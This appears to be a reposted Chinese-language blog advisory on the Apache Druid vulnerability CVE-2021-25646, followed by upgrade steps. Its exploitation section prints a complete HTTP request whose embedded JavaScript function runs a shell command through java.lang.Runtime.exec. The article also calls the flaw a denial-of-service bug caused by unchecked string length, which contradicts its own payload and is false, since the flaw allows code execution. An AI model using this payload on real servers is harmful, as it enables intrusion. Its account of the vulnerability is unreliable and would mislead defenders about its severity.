一、漏洞概述
Apache Druid是一款由Apache組織開發的分散式數據存儲和分析系統。近期,Druid所存在的一個漏洞引發了安全界的廣泛關注。目前已被標記為CVE-2021-25646。
CVE-2021-25646漏洞是由於Druid沒有正確地限制攻擊者在「hyperUnique」查詢中使用的字元串長度而導致的。當執行hyperUnique查詢時,攻擊者可以通過提交包含格式化的JSON數據的HTTP請求來利用此漏洞。攻擊者可以利用此漏洞在目標伺服器上進行DoS攻擊,甚至導致伺服器崩潰。
二、漏洞利用過程
攻擊者可以通過提交POST請求來利用該漏洞。以下是一個例子:
POST /druid/v2/?pretty HTTP/1.1
Host: druid.example.com
Content-Type: application/json
{
"queryType" : "groupBy",
"dataSource" : "test",
"granularity" : "all",
"dimensions" : ["{ \\"type\\": \\"extraction\\", \\"extractionFn\\": { \\"type\\": \\"javascript\\", \\"function\\": \\"function(x) { java.lang.Runtime.getRuntime().exec(\\'touch /tmp/owned\\'); return \\'xd\\'; }\\", \\"injective\\":false }, \\"dimension\\":\\"foo\\", \\"outputName\\":\\"bar\\" }"],
"aggregations" : [ {
"type" : "hyperUnique",
"name" : "a",
"fieldName" : "a"
} ],
"intervals" : ["1900/3000"],
"filter" : {
"type" : "bound",
"dimension" : "foo",
"lower" : "1",
"upper" : "2",
"alphaNumeric" : false,
"lowerStrict" : false,
"upperStrict" : false,
"ordering" : "numeric"
},
"having" : {
"type" : "equalTo",
"aggregation" : "a",
"value" : "1"
},
"limitSpec" : {
"type" : "default"
},
"context" : {
"skipEmptyBuckets" : true,
"sqlQueryId" : "abcd1234"
}
}
上面的請求向Druid發送一條用於計算「hyperUnique」的查詢。該查詢中包含了一個JavaScript函數,攻擊者可以利用這個函數來執行任意的命令。因為Druid沒有檢查該函數的大小,攻擊者可以提交超長的函數字元串來佔用伺服器資源。
三、漏洞危害
根據官方估計,這個漏洞可能導致伺服器遭受DoS(拒絕服務)攻擊。攻擊者可以使用此漏洞來讓伺服器崩潰,從而癱瘓整個在線業務系統,導致業務系統不可用。
四、修復方法
Apache官方已經發布了修復此漏洞的版本。管理員應該儘快更新Druid到最新的版本。具體操作方法可以參考如下步驟:
1. 下載最新的Druid安裝包
curl -O https://downloads.apache.org/druid/0.20.2/apache-druid-0.20.2-incubating-bin.tar.gz
2. 解壓安裝包
tar -xvzf apache-druid-0.20.2-incubating-bin.tar.gz
3. 將Druid的新版本部署到伺服器並重新啟動Druid的服務
cp -r apache-druid-0.20.2-incubating /usr/local/druid
/etc/init.d/druid start
五、總結
Apache Druid是廣受歡迎的一款數據存儲和分析系統,但如果不及時修復漏洞,將會面臨嚴重的安全問題。管理員需要注意Apache Druid的安全問題並及時升級,以免被攻擊者利用此漏洞造成損失。
原創文章,作者:小藍,如若轉載,請註明出處:https://www.506064.com/zh-tw/n/270352.html